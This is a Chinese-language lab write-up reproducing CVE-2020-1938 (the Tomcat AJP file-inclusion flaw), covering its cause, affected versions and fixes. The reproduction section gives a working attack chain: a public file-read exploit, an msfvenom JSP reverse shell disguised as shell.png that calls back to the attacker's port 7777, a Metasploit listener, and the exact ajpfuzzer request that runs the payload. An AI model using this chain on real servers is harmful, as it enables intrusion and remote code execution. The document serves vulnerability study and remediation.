CVE-2020-1938 Apache ajp漏洞验证

一、漏洞描述

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

二、漏洞危害等级

三、影响版本

Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31

四、漏洞原理

Tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性 javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path 再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。

五、漏洞复现

1、安装JDK

rpm -ivh https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.rpm

查看安装结果

java -version

配置环境变量-用户环境变量:

vim /etc/profile
export JAVA_HOME=/usr/java/jdk1.8.0_202-amd64
export JAVA_BIN=/usr/java/jdk1.8.0_202-amd64/bin
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH

使配置生效

source /etc/profile

2、安装tomcat

wget http://mirrors.hust.edu.cn/apache/tomcat/tomcat-8/v8.5.50/bin/apache-tomcat-8.5.50.tar.gz //迅雷下载
tar -xvf apache-tomcat-8.5.50.tar.gz
cd apache-tomcat-8.5.50/
mv apache-tomcat-8.5.50 /usr/local/tomcat8
/usr/local/tomcat8/bin/startup.sh

3、创建2个测试文件

攻击者可以读取Tomcat下部署的所有webapp目录下的任意文件。同时,如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用漏洞进行文件包含,从而达到代码执行的危害。

/usr/local/tomcat8/webapps/ROOT/
echo "aaa">test.txt
/usr/local/tomcat8/webapps/ROOT/WEB-INF
echo "ROOT/a">1.txt
git clone https://github.com.cnpmjs.org/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git

5、漏洞利用 查看任意文件

Kali上测试有点问题,Win7 Powershell下测试一切正常。

E:\tmp> python .\CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.25.21 -f WEB-INF/web.xml

六、提权 获取Webshell

Kali:192.168.20.143

Target:192.168.25.21

1、在Kali上使用msf生成反弹shell马

msf5 > msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.20.143 LPORT=7777 R > shell.png

2、上传图片shell马

假设目标网站有upload功能,把此图片上传到了目标服务器/log/shell.png,这里为了测试方便,直接上传到网站目录下。

root@kali:~# scp shell.png root@192.168.25.21:/usr/local/tomcat8/webapps/ROOT/log

3、在msf监听7777端口,等待回连

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.20.143
msf5 exploit(multi/handler) > set lport 7777
msf5 exploit(multi/handler) > exploit

4、发送AJP包,获取shell

使用AJP包构造工具来发送ajp包,以ajpfuzzer为例:

下载: https://github.com/doyensec/ajpfuzzer/releases

运行:

java -jar ajpfuzzer_v0.6.jar

连接目标端口:

connect 192.168.25.21 8009

执行以下命令:

forwardrequest 2 "HTTP/1.1" "/123.jsp" 192.168.25.21 192.168.25.21 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:/","javax.servlet.include.path_info:log/shell.png","javax.servlet.include.servlet_path:/"

执行下面命令构造并发送AJP包,其中log/shell.png为上传的木马路径,其中123.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet。

可以看到,请求发送成功后,shell.png被作为jsp解析,已经成功获取到shell。

七、漏洞修复

1.更新到安全版本

Apache Tomcat 8.5.51
Apache Tomcat 9.0.31

2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

3、配置ajp配置中的secretRequired跟secret属性来限制认证